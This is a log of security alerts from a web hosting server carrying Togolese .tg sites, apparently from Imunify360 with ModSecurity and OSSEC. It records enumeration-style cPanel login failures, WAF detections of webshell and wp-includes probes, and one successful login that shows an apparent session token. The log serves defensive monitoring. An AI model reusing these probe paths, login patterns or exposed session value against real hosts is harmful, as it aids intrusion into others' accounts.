name: Anti-bot protection. User failed to pass
abuser: 43.173.180.166
country_id: 1880251
description:
43.173.180.166 - - [25/Jun/2026:15:05:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116697&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Fposts%252F32646&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782399905 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/posts/32646" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.180.166


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 4.193.217.18
country_id: 1880251
domain: cameg-togo.tg
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/camaegdtomgo/public_html/wp-includes/SimplePie/about.php||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.193.217.18
country_id: 1880251
domain: cameg-togo.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.20||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/camaegdtomgo/public_html/wp-admin/images/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.188
country_id: 3469034
description:
Jun 25 15:07:40 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.188 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.74.66.234
country_id: 1733045
description:
[2026-06-25 15:08:16 +0000] info [cpaneld] 180.74.66.234 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.7.142.71
country_id: 2921044
description:
[2026-06-25 15:08:21 +0000] info [cpaneld] 91.7.142.71 - matwtogo "GET /login/?login_only=1&user=matwtogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwtogo (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.124.180.2
country_id: 2921044
description:
Jun 25 15:09:02 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.124.180.2 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.175.79.45
country_id: 3865483
description:
[2026-06-25 15:08:33 +0000] info [cpaneld] 190.175.79.45 - matwto "GET /login/?login_only=1&user=matwto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.167.247.127
country_id: 3508796
description:
[2026-06-25 15:08:29 +0000] info [cpaneld] 152.167.247.127 - matwtog "GET /login/?login_only=1&user=matwtog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwtog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.206.217.181
country_id: 2542007
description:
[2026-06-25 15:08:36 +0000] info [cpaneld] 196.206.217.181 - matwt "GET /login/?login_only=1&user=matwt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 111.119.59.105
country_id: 1282988
description:
[2026-06-25 15:08:39 +0000] info [cpaneld] 111.119.59.105 - matw "GET /login/?login_only=1&user=matw&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matw (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 116.98.255.98
country_id: 1562822
description:
[2026-06-25 15:08:43 +0000] info [cpaneld] 116.98.255.98 - mat "GET /login/?login_only=1&user=mat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mat (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.76.77.182
country_id: 3469034
description:
[2026-06-25 15:08:26 +0000] info [cpaneld] 189.76.77.182 - matwtogoorg "GET /login/?login_only=1&user=matwtogoorg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwtogoorg (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.187.101.96
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/reboisement-un-appel-national-a-lengagement-citoyen-pour-batir-le-togo-de-demain/ HTTP/1.1||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.187.101.96
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/reboisement-un-appel-national-a-lengagement-citoyen-pour-batir-le-togo-de-demain/ HTTP/1.1||RSV:8.20||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 46.253.131.191
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:46.253.131.191||TA:46.253.131.191||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-25 15:14:29 +0000] info [cpaneld] 196.171.46.177 NEW togoinrdceh:uepRaoU3780jmATx address=196.171.46.177,app=cpaneld,creator=togoinrdceh,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.13.96.14
country_id: 3077311
description:
[2026-06-25 15:15:20 +0000] info [cpaneld] 85.13.96.14 - lagorainfotg "GET /login/?login_only=1&user=lagorainfotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagorainfotg (has_cpuser_file failed)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - fagbemedji@togointerim.net [06/25/2026:15:15:24 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: fagbemedji@togointerim.net


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.223.120.126
country_id: 3469034
description:
[2026-06-25 15:15:44 +0000] info [cpaneld] 200.223.120.126 - la "GET /login/?login_only=1&user=la&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user la (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.192.215.76
country_id: 1733045
description:
[2026-06-25 15:15:28 +0000] info [cpaneld] 14.192.215.76 - lagorai "GET /login/?login_only=1&user=lagorai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagorai (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 193.228.206.152
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:193.228.206.152||TA:193.228.206.152||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.69.165.111
country_id: 1643084
description:
[2026-06-25 15:15:24 +0000] info [cpaneld] 36.69.165.111 - lagorain "GET /login/?login_only=1&user=lagorain&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagorain (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.236.156.93
country_id: 690791
description:
[2026-06-25 15:15:31 +0000] info [cpaneld] 91.236.156.93 - lagora "GET /login/?login_only=1&user=lagora&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagora (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.24.61.213
country_id: 99237
description:
[2026-06-25 15:15:36 +0000] info [cpaneld] 185.24.61.213 - lago "GET /login/?login_only=1&user=lago&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lago (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.116.179.217
country_id: 3865483
description:
[2026-06-25 15:15:40 +0000] info [cpaneld] 181.116.179.217 - lag "GET /login/?login_only=1&user=lag&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lag (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.207.184.180
country_id: 2363686
domain: camilliens.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /index.php?rest_route=/wp/v2/block-renderer/wpforms/form-selector&context=edit&attributes[clientId]=e723aef1-0d4f-458d-b4f3-13d4bf358142&attributes[formId]=578&attributes[displayTitle]=false&attributes[displayDesc]=false&attributes[theme]=default&attributes[themeName]=Default&attributes[labelSize]=medium&attributes[labelColor]=rgba( 0, 0, 0, 0.85 )&attributes[labelSublabelColor]=rgba( 0, 0, 0, 0.55 )&attributes[labelErrorColor]=#d63637&attributes[pageBreakColor]=#066aab&attributes[customCss]=&attributes[copyPasteJsonValue]={\"displayTitle\":false,\"displayDesc\":false,\"theme\":\"default\",\"themeName\":\"Default\",\"fieldSize\":\"medium\",\"backgroundImage\":\"none\",\"backgroundPosition\":\"center center\",\"backgroundRepeat\":\"no-repeat\",\"backgroundSizeMode\":\"cover\",\"backgroundSize\":\"cover\",\"backgroundWidth\":\"100px\",\"backgroundHeight\":\"100px\",\"backgroundUrl\":\"url()\",\"backgroundColor\":\"rgba( 0, 0, 0, 0 )\",\"fieldBorderRadius\":\"3px\",\"fieldBorderStyle\":\"solid\",\"fieldBorderSize\":\"1px\",\"fieldBackgroundColor\":\"#ffffff\",\"fieldBorderColor\":\"rgba( 0, 0, 0, 0.25 )\",\"fieldTextColor\":\"rgba( 0, 0, 0, 0.7 )\",\"fieldMenuColor\":\"#ffffff\",\"labelSize\":\"medium\",\"labelColor\":\"rgba( 0, 0, 0, 0.85 )\",\"labelSublabelColor\":\"rgba( 0, 0, 0, 0.55 )\",\"labelErrorColor\":\"#d63637\",\"buttonSize\":\"medium\",\"buttonBorderStyle\":\"none\",\"buttonBorderSize\":\"1px\",\"buttonBorderRadius\":\"3px\",\"buttonBackgroundColor\":\"#066aab\",\"buttonTextColor\":\"#ffffff\",\"buttonBorderColor\":\"#066aab\",\"pageBreakColor\":\"#066aab\",\"containerPadding\":\"0px\",\"containerBorderStyle\":\"none\",\"containerBorderWidth\":\"1px\",\"containerBorderColor\":\"#000000\",\"containerBorderRadius\":\"3px\",\"containerShadowSize\":\"none\",\"customCss\":\"\"}&attributes[fieldSize]=medium&attributes[fieldBorderStyle]=solid&attributes[fieldBorderSize]=1px&attributes[fieldBorderRadius]=3px&attributes[fieldBackgroundColor]=#ffffff&attributes[fieldBorderColor]=rgba( 0, 0, 0, 0.25 )&attributes[fieldTextColor]=rgba( 0, 0, 0, 0.7 )&attributes[fieldMenuColor]=#ffffff&attributes[containerPadding]=0px&attributes[containerBorderStyle]=none&attributes[containerBorderWidth]=1px&attributes[containerBorderColor]=#000000&attributes[containerBorderRadius]=3px&attributes[containerShadowSize]=none&attributes[backgroundImage]=none&attributes[backgroundPosition]=center center&attributes[backgroundRepeat]=no-repeat&attributes[backgroundSizeMode]=cover&attributes[backgroundSize]=cover&attributes[backgroundWidth]=100px&attributes[backgroundHeight]=100px&attributes[backgroundColor]=rgba( 0, 0, 0, 0 )&attributes[backgroundUrl]=url()&attributes[buttonSize]=medium&attributes[buttonBorderStyle]=none&attributes[buttonBorderSize]=1px&attributes[buttonBorderRadius]=3px&attributes[buttonBackgroundColor]=#066aab&attributes[buttonTextColor]=#ffffff&attributes[buttonBorderColor]=#066aab&_locale=user HTTP/1.1||RSV:8.20||T:APACHE||


